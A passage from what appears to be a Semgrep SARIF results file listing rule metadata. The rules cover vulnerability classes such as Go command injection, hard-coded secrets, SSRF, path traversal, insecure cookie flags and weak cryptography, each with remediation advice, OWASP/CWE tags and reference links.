vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint","id":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","name":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.command-injection.gin-command-injection.gin-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"help":{"markdown":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet](https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet)\n","text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","id":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","name":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","id":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","name":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/arkadiyt/ssrf_filter](https://github.com/arkadiyt/ssrf_filter)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host","id":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","name":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","id":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","name":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","id":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","name":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"help":{"markdown":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes","id":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","name":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.no-verify.verify-biometric-changes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","id":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","name":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false","id":"java.micronaut.audit.cookies.secure-false.secure-false","name":"java.micronaut.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs","id":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","name":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false","id":"java.micronaut.audit.cookies.httponly-false.httponly-false","name":"java.micronaut.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","id":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","name":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","id":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","name":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"help":{"markdown":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked](https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked)\n","text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","id":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","name":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"help":{"markdown":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"helpUri":"https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","id":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","name":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","id":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","name":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule has been deprecated."},"help":{"markdown":"This rule has been deprecated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"This rule has been deprecated."},"helpUri":"https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint","id":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","name":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery 